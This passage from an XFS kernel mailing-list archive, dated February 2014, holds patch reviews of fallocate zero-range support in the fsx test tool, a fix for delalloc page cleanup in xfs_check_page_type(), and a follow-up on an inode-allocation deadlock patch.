punch_hole_calls = 0; > + return ret; > #endif > } > > @@ -1345,7 +1409,7 @@ main(int argc, char **argv) > > setvbuf(stdout, (char *)0, _IOLBF, 0); /* line buffered stdout */ > > - while ((ch = getopt(argc, argv, "b:c:dfl:m:no:p:qr:s:t:w:xyAD:FHLN:OP:RS:WZ")) > + while ((ch = getopt(argc, argv, "b:c:dfl:m:no:p:qr:s:t:w:xyAD:FHzLN:OP:RS:WZ")) > != EOF) > switch (ch) { > case 'b': > @@ -1445,6 +1509,9 @@ main(int argc, char **argv) > case 'H': > punch_hole_calls = 0; > break; > + case 'z': > + zero_range_calls = 0; > + break; > case 'L': > lite = 1; > break; > @@ -1590,8 +1657,9 @@ main(int argc, char **argv) > } else > check_trunc_hack(); > > - test_fallocate(); > - test_punch_hole(); > + fallocate_calls = test_fallocate(0); > + punch_hole_calls = test_fallocate(FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE); > + zero_range_calls = test_fallocate(FALLOC_FL_ZERO_RANGE); Could probably add the do_warn() stuff here, explicitly stating what got disabled. -Eric > > while (numops == -1 || numops--) > test(); > From adilger@dilger.ca Fri Feb 28 13:09:16 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 59F7B7F3F for ; Fri, 28 Feb 2014 13:09:16 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 19B638F804C for ; Fri, 28 Feb 2014 11:09:12 -0800 (PST) X-ASG-Debug-ID: 1393614551-04bdf05daa12b270001-NocioJ Received: from mail-pa0-f51.google.com (mail-pa0-f51.google.com [209.85.220.51]) by cuda.sgi.com with ESMTP id boNC0mwGQqzXzBNK (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Fri, 28 Feb 2014 11:09:11 -0800 (PST) X-Barracuda-Envelope-From: adilger@dilger.ca X-Barracuda-RBL-Trusted-Forwarder: 209.85.220.51 Received: by mail-pa0-f51.google.com with SMTP id kq14so1142463pab.24 for ; Fri, 28 Feb 2014 11:09:11 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:content-type:mime-version:subject:from :in-reply-to:date:cc:message-id:references:to; bh=81KkaA5n69pPiMOnAi9reBGZBXmBf8Aa84+JLw7fhmU=; b=Opc37qvcqnrR0+RBM6R18pNMKtTyvb6i5pxPvzmP7fqlVbhOEtBDEzm9+b+R81RkR/ hhTKZE0PRXMLmsRzEtkwYTZm0365U33VKi7BwHGjRLj++DvMpLKxT2jxNxFg7g0H5J65 PKK+JTRN0vzacKHc0ETvwZg+ZLFA0H5fZ3d2CObcOu0elh4FuDF+lOfNb/HB9zFnLKY3 xAqbRLX+23gN+dbXuwTtvTp3Dbbgr4iGkCk5WMo2q2Oy3enB11HziSWpZQB6gAet5rA1 FhmRcaqZO6GoaEQYout0hhCexvc+/yzd6bYyXBFZgbCSLIERQoCBsAnacsy4mA+LGBY6 Z89A== X-Barracuda-BBL-IP: nil X-Gm-Message-State: ALoCoQlZJkaY5URKuOU4REOxkhhNFqC7IIKcJPWzG60JOsd4cxnKp5QK+FfY2cT6gBBMdaPxyTik X-Received: by 10.68.139.100 with SMTP id qx4mr5300890pbb.144.1393614550915; Fri, 28 Feb 2014 11:09:10 -0800 (PST) Received: from cabot-wlan.adilger.int (S0106002191d9348b.cg.shawcable.net. [96.51.76.157]) by mx.google.com with ESMTPSA id dc4sm8702843pbc.34.2014.02.28.11.09.08 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Fri, 28 Feb 2014 11:09:09 -0800 (PST) Content-Type: multipart/signed; boundary="Apple-Mail=_184D3A06-C043-4EEB-A918-C4941EF7584D"; protocol="application/pgp-signature"; micalg=pgp-sha1 X-Barracuda-Apparent-Source-IP: 96.51.76.157 Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Subject: Re: [PATCH 7/8] xfstests: Add fallocate zero range operation to fsx From: Andreas Dilger X-ASG-Orig-Subj: Re: [PATCH 7/8] xfstests: Add fallocate zero range operation to fsx In-Reply-To: <1393603865-26198-7-git-send-email-lczerner@redhat.com> Date: Fri, 28 Feb 2014 12:08:47 -0700 Cc: linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org Message-Id: References: <1393603865-26198-1-git-send-email-lczerner@redhat.com> <1393603865-26198-7-git-send-email-lczerner@redhat.com> To: Lukas Czerner X-Mailer: Apple Mail (2.1874) X-Barracuda-Connect: mail-pa0-f51.google.com[209.85.220.51] X-Barracuda-Start-Time: 1393614551 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145610 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- --Apple-Mail=_184D3A06-C043-4EEB-A918-C4941EF7584D Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=us-ascii On Feb 28, 2014, at 9:11 AM, Lukas Czerner wrote: > This commit adds fallocate FALLOC_FL_ZERO_RANGE support for fsx. It looks like this patch breaks the option handling for these fallocate features. > int fallocate_calls =3D 1; /* -F flag disables */ > int punch_hole_calls =3D 1; /* -H flag disables */ > +int zero_range_calls =3D 1; /* -z flag disables */ So these fallocate tests are on by default... > =08+int > +test_fallocate(int mode) > { > #ifdef HAVE_LINUX_FALLOC_H > + int ret =3D 0; > if (!lite && fallocate_calls) { > + if (fallocate(fd, mode, 0, 1) && errno =3D=3D = EOPNOTSUPP) { > if(!quiet) > warn("main: filesystem does not support = fallocate, disabling\n"); > } else { > + ret =3D 1; > ftruncate(fd, 0); > } > } > #endif > } And this returns 1 or 0 depending if they are supported or not... > + while ((ch =3D getopt(argc, argv, = "b:c:dfl:m:no:p:qr:s:t:w:xyAD:FHzLN:OP:RS:WZ")) > !=3D EOF) > switch (ch) { > case 'H': > punch_hole_calls =3D 0; > break; > + case 'z': > + zero_range_calls =3D 0; > + break; And the option parsing sets the values to zero if they are disabled, so far, so good... > + fallocate_calls =3D test_fallocate(0); > + punch_hole_calls =3D test_fallocate(FALLOC_FL_PUNCH_HOLE | = FALLOC_FL_KEEP_SIZE); > + zero_range_calls =3D test_fallocate(FALLOC_FL_ZERO_RANGE); But here, the values set by option parsing are clobbered and the tests are only enabled or disabled depending on whether the kernel supports that feature or not. I think you need something like: if (fallocate_calls) fallocate_calls =3D test_fallocate(0); if (punch_hole_calls) punch_hole_calls =3D test_fallocate(FALLOC_FL_PUNCH_HOLE = | FALLOC_FL_KEEP_SIZE); if (zero_range_calls) zero_range_calls =3D = test_fallocate(FALLOC_FL_ZERO_RANGE); Cheers, Andreas --Apple-Mail=_184D3A06-C043-4EEB-A918-C4941EF7584D Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename=signature.asc Content-Type: application/pgp-signature; name=signature.asc Content-Description: Message signed with OpenPGP using GPGMail -----BEGIN PGP SIGNATURE----- Comment: GPGTools - http://gpgtools.org iQIVAwUBUxDewHKl2rkXzB/gAQI2Uw//f2roFEJGCHU3cO625PeeOYrLgD2j5j7Y MV/ygwjDWl8H/tDhzMIijTW40X59SNDh+xj3ZnLOGokd7QDQToifTt9Jumpbek5T sCRsxU96yysrZXOf59nDvPj1HsEXn/GeXCcDBqz5D0sq0sC8+WspY77xvjtY0M08 9RH0tHtTbPzH5uw/Fja4UINBvXMjlnrc2p9jAYZGKUv7PqrnANS19QCPVuetn9Qk EHnn6pIRe746j13kdCdgvp7Nk6vR9bM6Vc6N2C613MGXt5vmathwD6fj5gFzUjC/ x538x+Rh/Uhh34TaMP8P6gxN+41SGqv3cNU89xzzZQD1YyBUYzf+9AZT+O7zL1iU xTQrivY8HNp+rdp9vAxaiZnmcQlxU7ZOYqpKZXjiQIlRKNV99iutwBITP6jiurtL Gdt0K/YwQQE7om1UXm2gw29Y/LYuHrES+6I3kuuJ7oMJefM/RxfVZ9//YFoQhyMV nSEQsHHIJhhDRTjXExutiH9GhsLGQjyuTYIBfNYMyJjyKasDhFca5VY0EjDMUIkO kR4Bv6aRFwqNvekekBVrQHp2QZ+8M9oGPHSWr6yjqijlOPS0mJDROdyJmM59Va2m 2CU47YXNj4qvVQiKdZgn+N0+jlh925zVrtwBSNOsGeAthWeS4rmUR4SW2Cfw7oaU x46Ftn3PJkU= =0yxr -----END PGP SIGNATURE----- --Apple-Mail=_184D3A06-C043-4EEB-A918-C4941EF7584D-- From bfoster@redhat.com Fri Feb 28 13:23:01 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2F7EA7F3F for ; Fri, 28 Feb 2014 13:23:01 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 071D6304053 for ; Fri, 28 Feb 2014 11:22:57 -0800 (PST) X-ASG-Debug-ID: 1393615376-04cbb066e4121ae0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 2yDOa8ogaaD56sjk for ; Fri, 28 Feb 2014 11:22:57 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1SJMqAb000400 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 28 Feb 2014 14:22:52 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1SJMpqb016097 for ; Fri, 28 Feb 2014 14:22:51 -0500 Received: by bfoster.bfoster (Postfix, from userid 1000) id E413512452B; Fri, 28 Feb 2014 14:22:49 -0500 (EST) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH] xfs: check all buffers in xfs_check_page_type() Date: Fri, 28 Feb 2014 14:22:49 -0500 X-ASG-Orig-Subj: [PATCH] xfs: check all buffers in xfs_check_page_type() Message-Id: <1393615369-41882-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393615376 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 xfs_aops_discard_page() was introduced in the following commit: xfs: truncate delalloc extents when IO fails in writeback ... to clean up left over delalloc ranges after I/O failure in ->writepage(). generic/224 tests for this scenario and occasionally reproduces panics on sub-4k blocksize filesystems. The cause of this is failure to clean up the delalloc range on a page where the first buffer does not match one of the expected states of xfs_check_page_type(). If a buffer is not unwritten, delayed or dirty&mapped, xfs_check_page_type() stops and immediately returns 0. The stress test of generic/224 creates a scenario where the first several buffers of a page with delayed buffers are mapped&uptodate and some subsequent buffer is delayed. If the ->writepage() happens to fail for this page, xfs_aops_discard_page() incorrectly skips the entire page. Modify xfs_aops_discard_page() to iterate all of the page buffers to ensure a delayed buffer does not go undetected. Signed-off-by: Brian Foster --- The only other caller to xfs_check_page_type() is xfs_convert_page(). I think this is safe with respect to that codepath, given the additional imap checks therein and whatnot, but thoughts appreciated. Brian fs/xfs/xfs_aops.c | 2 -- 1 file changed, 2 deletions(-) diff --git a/fs/xfs/xfs_aops.c b/fs/xfs/xfs_aops.c index db2cfb0..5962a9f 100644 --- a/fs/xfs/xfs_aops.c +++ b/fs/xfs/xfs_aops.c @@ -655,8 +655,6 @@ xfs_check_page_type( acceptable += (type == XFS_IO_DELALLOC); else if (buffer_dirty(bh) && buffer_mapped(bh)) acceptable += (type == XFS_IO_OVERWRITE); - else - break; } while ((bh = bh->b_this_page) != head); if (acceptable) -- 1.8.3.1 From bfoster@redhat.com Fri Feb 28 13:24:26 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A25DF7F3F for ; Fri, 28 Feb 2014 13:24:26 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1EEDDAC007 for ; Fri, 28 Feb 2014 11:24:22 -0800 (PST) X-ASG-Debug-ID: 1393615461-04bdf05dab12c940001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id ztyV1C8dEdWK27LL for ; Fri, 28 Feb 2014 11:24:22 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1SJOL5t026544 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 28 Feb 2014 14:24:21 -0500 Received: from laptop.bfoster (vpn-50-214.rdu2.redhat.com [10.10.50.214]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1SJOKw1026726 for ; Fri, 28 Feb 2014 14:24:21 -0500 Received: from laptop.bfoster (localhost.localdomain [127.0.0.1]) by laptop.bfoster (Postfix) with ESMTP id 7187F1210DA for ; Fri, 28 Feb 2014 14:24:20 -0500 (EST) Received: (from bfoster@localhost) by laptop.bfoster (8.14.7/8.14.7/Submit) id s1SJOJWk024354 for xfs@oss.sgi.com; Fri, 28 Feb 2014 14:24:19 -0500 X-Authentication-Warning: laptop.bfoster: bfoster set sender to bfoster@redhat.com using -f Date: Fri, 28 Feb 2014 14:24:18 -0500 From: Brian Foster To: xfs@oss.sgi.com Subject: Re: [PATCH v2] xfs: avoid AGI/AGF deadlock scenario for inode chunk allocation Message-ID: <20140228192418.GB15562@laptop.bfoster> X-ASG-Orig-Subj: Re: [PATCH v2] xfs: avoid AGI/AGF deadlock scenario for inode chunk allocation References: <1392142066-16174-1-git-send-email-bfoster@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1392142066-16174-1-git-send-email-bfoster@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393615462 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Tue, Feb 11, 2014 at 01:07:46PM -0500, Brian Foster wrote: > The inode chunk allocation path can lead to deadlock conditions if > a transaction is dirtied with an AGF (to fix up the freelist) for > an AG that cannot satisfy the actual allocation request. This code > path is written to try and avoid this scenario, but it can be > reproduced by running xfstests generic/270 in a loop on a 512b fs. > > An example situation is: > - process A attempts an inode allocation on AG 3, modifies > the freelist, fails the allocation and ultimately moves on to > AG 0 with the AG 3 AGF held > - process B is doing a free space operation (i.e., truncate) and > acquires the AG 0 AGF, waits on the AG 3 AGF > - process A acquires the AG 0 AGI, waits on the AG 0 AGF (deadlock) > > The problem here is that process A acquired the AG 3 AGF while > moving on to AG 0 (and releasing the AG 3 AGI with the AG 3 AGF > held). xfs_dialloc() makes one pass through each of the AGs when > attempting to allocate an inode chunk. The expectation is a clean > transaction if a particular AG cannot satisfy the allocation > request. xfs_ialloc_ag_alloc() is written to support this through > use of the minalignslop allocation args field. > > When using the agi->agi_newino optimization, we attempt an exact > bno allocation request based on the location of the previously > allocated chunk. minalignslop is set to inform the allocator that > we will require alignment on this chunk, and thus to not allow the > request for this AG if the extra space is not available. Suppose > that the AG in question has just enough space for this request, but > not at the requested bno. xfs_alloc_fix_freelist() will proceed as > normal as it determines the request should succeed, and thus it is > allowed to modify the agf. xfs_alloc_ag_vextent() ultimately fails > because the requested bno is not available. In response, the caller > moves on to a NEAR_BNO allocation request for the same AG. The > alignment is set, but the minalignslop field is never reset. This > increases the overall requirement of the request from the first > attempt. If this delta is the difference between allocation success > and failure for the AG, xfs_alloc_fix_freelist() rejects this > request outright the second time around and causes the allocation > request to unnecessarily fail for this AG. > > To address this situation, reset the minalignslop field immediately > after use and prevent it from leaking into subsequent requests. > > Signed-off-by: Brian Foster > --- > > v2: > - Reset minalignslop immediately after use rather than prior to the > subsequent request and add a comment. [dchinner] > ping? Any chance to get this committed? Brian > fs/xfs/xfs_ialloc.c | 12 ++++++++++++ > 1 file changed, 12 insertions(+) > > diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c > index 5d7f105..a57843f 100644 > --- a/fs/xfs/xfs_ialloc.c > +++ b/fs/xfs/xfs_ialloc.c > @@ -363,6 +363,18 @@ xfs_ialloc_ag_alloc( > args.minleft = args.mp->m_in_maxlevels - 1; > if ((error = xfs_alloc_vextent(&args))) > return error; > + > + /* > + * This request might have dirtied the transaction if the AG can > + * satisfy the request, but the exact block was not available. > + * If the allocation did fail, subsequent requests will relax > + * the exact agbno requirement and increase the alignment > + * instead. It is critical that the total size of the request > + * (len + alignment + slop) does not increase from this point > + * on, so reset minalignslop to ensure it is not included in > + * subsequent requests. > + */ > + args.minalignslop = 0; > } else > args.fsbno = NULLFSBLOCK; > > -- > 1.8.3.1 > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From tinguely@sgi.com Fri Feb 28 14:02:49 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 52A5E7F3F for ; Fri, 28 Feb 2014 14:02:49 -0600 (CST) Received: from eagdhcp-232-183.americas.sgi.com (eagdhcp-232-183.americas.sgi.com [128.162.232.183]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1F53E304066; Fri, 28 Feb 2014 12:02:45 -0800 (PST) Message-ID: <5310EB67.5050404@sgi.com> Date: Fri, 28 Feb 2014 14:02:47 -0600 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Brian Foster CC: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: check all buffers in xfs_check_page_type() References: <1393615369-41882-1-git-send-email-bfoster@redhat.com> In-Reply-To: <1393615369-41882-1-git-send-email-bfoster@redhat.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 02/28/14 13:22, Brian Foster wrote: > xfs_aops_discard_page() was introduced in the following commit: > > xfs: truncate delalloc extents when IO fails in writeback > > ... to clean up left over delalloc ranges after I/O failure in > ->writepage(). generic/224 tests for this scenario and occasionally > reproduces panics on sub-4k blocksize filesystems. > > The cause of this is failure to clean up the delalloc range on a > page where the first buffer does not match one of the expected > states of xfs_check_page_type(). If a buffer is not unwritten, > delayed or dirty&mapped, xfs_check_page_type() stops and > immediately returns 0. > > The stress test of generic/224 creates a scenario where the first > several buffers of a page with delayed buffers are mapped&uptodate > and some subsequent buffer is delayed. If the ->writepage() happens > to fail for this page, xfs_aops_discard_page() incorrectly skips > the entire page. > > Modify xfs_aops_discard_page() to iterate all of the page buffers > to ensure a delayed buffer does not go undetected. > > Signed-off-by: Brian Foster > --- > > The only other caller to xfs_check_page_type() is xfs_convert_page(). I > think this is safe with respect to that codepath, given the additional > imap checks therein and whatnot, but thoughts appreciated. > > Brian > > fs/xfs/xfs_aops.c | 2 -- > 1 file changed, 2 deletions(-) > > diff --git a/fs/xfs/xfs_aops.c b/fs/xfs/xfs_aops.c > index db2cfb0..5962a9f 100644 > --- a/fs/xfs/xfs_aops.c > +++ b/fs/xfs/xfs_aops.c > @@ -655,8 +655,6 @@ xfs_check_page_type( > acceptable += (type == XFS_IO_DELALLOC); > else if (buffer_dirty(bh) && buffer_mapped(bh)) > acceptable += (type == XFS_IO_OVERWRITE); > - else > - break; > } while ((bh = bh->b_this_page) != head); > > if (acceptable) Is there any reason to scan all the buffers when we all we want is an indication that at least one is acceptable? Maybe there are generally not may buffers to a page to make it worthwhile. --Mark. From bfoster@redhat.com Fri Feb 28 14:36:53 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 81D5E7F3F for ; Fri, 28 Feb 2014 14:36:53 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6A58F8F8037 for ; Fri, 28 Feb 2014 12:36:53 -0800 (PST) X-ASG-Debug-ID: 1393619812-04cb6c5677126090001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id k0HwACpOx81eZmIx; Fri, 28 Feb 2014 12:36:52 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1SKapl1017520 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 28 Feb 2014 15:36:51 -0500 Received: from laptop.bfoster (vpn-50-214.rdu2.redhat.com [10.10.50.214]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s1SKaooZ022621; Fri, 28 Feb 2014 15:36:51 -0500 Received: from laptop.bfoster (localhost.localdomain [127.0.0.1]) by laptop.bfoster (Postfix) with ESMTP id 8D5FE1210DA; Fri, 28 Feb 2014 15:36:50 -0500 (EST) Received: (from bfoster@localhost) by laptop.bfoster (8.14.7/8.14.7/Submit) id s1SKani3024747; Fri, 28 Feb 2014 15:36:49 -0500 X-Authentication-Warning: laptop.bfoster: bfoster set sender to bfoster@redhat.com using -f Date: Fri, 28 Feb 2014 15:36:48 -0500 From: Brian Foster To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: check all buffers in xfs_check_page_type() Message-ID: <20140228203648.GC15562@laptop.bfoster> X-ASG-Orig-Subj: Re: [PATCH] xfs: check all buffers in xfs_check_page_type() References: <1393615369-41882-1-git-send-email-bfoster@redhat.com> <5310EB67.5050404@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5310EB67.5050404@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393619812 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Fri, Feb 28, 2014 at 02:02:47PM -0600, Mark Tinguely wrote: > On 02/28/14 13:22, Brian Foster wrote: > >xfs_aops_discard_page() was introduced in the following commit: > > > > xfs: truncate delalloc extents when IO fails in writeback > > > >... to clean up left over delalloc ranges after I/O failure in > >->writepage(). generic/224 tests for this scenario and occasionally > >reproduces panics on sub-4k blocksize filesystems. > > > >The cause of this is failure to clean up the delalloc range on a > >page where the first buffer does not match one of the expected > >states of xfs_check_page_type(). If a buffer is not unwritten, > >delayed or dirty&mapped, xfs_check_page_type() stops and > >immediately returns 0. > > > >The stress test of generic/224 creates a scenario where the first > >several buffers of a page with delayed buffers are mapped&uptodate > >and some subsequent buffer is delayed. If the ->writepage() happens > >to fail for this page, xfs_aops_discard_page() incorrectly skips > >the entire page. > > > >Modify xfs_aops_discard_page() to iterate all of the page buffers > >to ensure a delayed buffer does not go undetected. > > > >Signed-off-by: Brian Foster > >--- > > > >The only other caller to xfs_check_page_type() is xfs_convert_page(). I > >think this is safe with respect to that codepath, given the additional > >imap checks therein and whatnot, but thoughts appreciated. > > > >Brian > > > > fs/xfs/xfs_aops.c | 2 -- > > 1 file changed, 2 deletions(-) > > > >diff --git a/fs/xfs/xfs_aops.c b/fs/xfs/xfs_aops.c > >index db2cfb0..5962a9f 100644 > >--- a/fs/xfs/xfs_aops.c > >+++ b/fs/xfs/xfs_aops.c > >@@ -655,8 +655,6 @@ xfs_check_page_type( > > acceptable += (type == XFS_IO_DELALLOC); > > else if (buffer_dirty(bh) && buffer_mapped(bh)) > > acceptable += (type == XFS_IO_OVERWRITE); > >- else > >- break; > > } while ((bh = bh->b_this_page) != head); > > > > if (acceptable) > > Is there any reason to scan all the buffers when we all we want is > an indication that at least one is acceptable? Maybe there are > generally not may buffers to a page to make it worthwhile. > Hi Mark, Good point. We could pull the 'if (acceptable)' check up into the loop and exit as soon as we find something writeable. Alternatively, we could do something like the following and get rid of 'acceptable' entirely (or continue to nest the type checks if there's a performance concern): ... if (buffer_unwritten(bh) && type == XFS_IO_UNWRITTEN) return 1; else if (buffer_delay(bh) && type == XFS_IO_DELALLOC) return 1; else if (buffer_dirty(bh) && buffer_mapped(bh) && type == XFS_IO_OVERWRITE) return 1; ... Brian > --Mark. > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From tinguely@sgi.com Fri Feb 28 15:21:16 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 938907F3F for ; Fri, 28 Feb 2014 15:21:16 -0600 (CST) Received: from eagdhcp-232-183.americas.sgi.com (eagdhcp-232-183.americas.sgi.com [128.162.232.183]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6567230406A; Fri, 28 Feb 2014 13:21:13 -0800 (PST) Message-ID: <5310FDCA.70909@sgi.com> Date: Fri, 28 Feb 2014 15:21:14 -0600 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Brian Foster CC: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: check all buffers in xfs_check_page_type() References: <1393615369-41882-1-git-send-email-bfoster@redhat.com> <5310EB67.5050404@sgi.com> <20140228203648.GC15562@laptop.bfoster> In-Reply-To: <20140228203648.GC15562@laptop.bfoster> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 02/28/14 14:36, Brian Foster wrote: > On Fri, Feb 28, 2014 at 02:02:47PM -0600, Mark Tinguely wrote: >> On 02/28/14 13:22, Brian Foster wrote: >>> xfs_aops_discard_page() was introduced in the following commit: >>> >>> xfs: truncate delalloc extents when IO fails in writeback >>> >>> ... to clean up left over delalloc ranges after I/O failure in >>> ->writepage(). generic/224 tests for this scenario and occasionally >>> reproduces panics on sub-4k blocksize filesystems. >>> >>> The cause of this is failure to clean up the delalloc range on a >>> page where the first buffer does not match one of the expected >>> states of xfs_check_page_type(). If a buffer is not unwritten, >>> delayed or dirty&mapped, xfs_check_page_type() stops and >>> immediately returns 0. >>> >>> The stress test of generic/224 creates a scenario where the first >>> several buffers of a page with delayed buffers are mapped&uptodate >>> and some subsequent buffer is delayed. If the ->writepage() happens >>> to fail for this page, xfs_aops_discard_page() incorrectly skips >>> the entire page. >>> >>> Modify xfs_aops_discard_page() to iterate all of the page buffers >>> to ensure a delayed buffer does not go undetected. >>> >>> 